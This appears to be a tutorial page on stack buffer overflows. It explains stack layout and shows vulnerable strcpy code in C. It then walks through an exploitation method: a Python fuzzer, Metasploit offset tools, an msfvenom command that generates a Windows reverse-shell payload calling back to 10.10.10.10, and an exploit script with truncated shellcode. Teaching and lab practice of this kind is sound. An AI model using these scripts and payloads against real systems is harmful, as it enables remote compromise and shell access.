Intermediate

Buffer Overflows

A buffer overflow occurs when a program writes more data to a buffer (a block of memory) than it can hold. This excess data overwrites adjacent memory, which can lead to program crashes or, more critically, execution of arbitrary code.

The Stack

To understand buffer overflows, you must understand the stack. The stack is a region of memory used for local variables and function control flow. It grows downwards (from high memory addresses to low memory addresses).

Stack Layout (High to Low)

  • Arguments
  • Return Address (EIP)
  • Saved Frame Pointer (EBP)
  • Local Variables (Buffer)

Vulnerable Code Example

The `strcpy` function does not check if the destination buffer is large enough to hold the source string.

c

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    // VULNERABILITY: strcpy doesn't check length!
    // If input > 64 bytes, it overwrites EBP and EIP.
    strcpy(buffer, input); 
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}
  

Exploitation Methodology

1. Fuzzing

Send increasing lengths of data to the application until it crashes. This confirms the vulnerability.

python

#!/usr/bin/python3
import socket, time, sys

ip = "192.168.1.10"
port = 1337
timeout = 5
prefix = "OVERFLOW "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)
  

2. Finding the Offset

Use a cyclic pattern to determine exactly which bytes overwrite the EIP.

bash

# Generate pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

# Find offset after crash (EIP value)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2000 -q 39694438
  

3. Controlling EIP

Verify control by overwriting EIP with `BBBB` (0x42424242).

python

shellcode = "A" * 146 + "B" * 4 + "C" * 400
  

4. Bad Characters

Identify characters that get mangled or truncate the buffer (e.g., null byte `\x00`, newline `\x0A`).

Common Bad Chars

The null byte \x00 is almost always a bad character in string functions like strcpy, as it signifies the end of the string.

5. Generating Shellcode

Use `msfvenom` to generate shellcode, excluding bad characters.

bash

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -f c
  

6. The Exploit

Construct the final payload: `Padding + EIP (JMP ESP) + NOP Sled + Shellcode`.

python

import socket

ip = "192.168.1.10"
port = 1337

prefix = "OVERFLOW "
offset = 146
overflow = "A" * offset
retn = "\xaf\x11\x50\x62" # JMP ESP address (little endian)
padding = "\x90" * 16       # NOP Sled
payload = ("\xbf\x6e\x4e\x2d\x61\xdb\xc8\xd9\x74\x24\xf4\x5d\x33\xc9"
           "\xb1\x52\x31\x7d\x12\x03\x7d\x12\x83\x6e\x2e\x0b\x86\xc5"
           "...") # Generated shellcode

buffer = prefix + overflow + retn + padding + payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")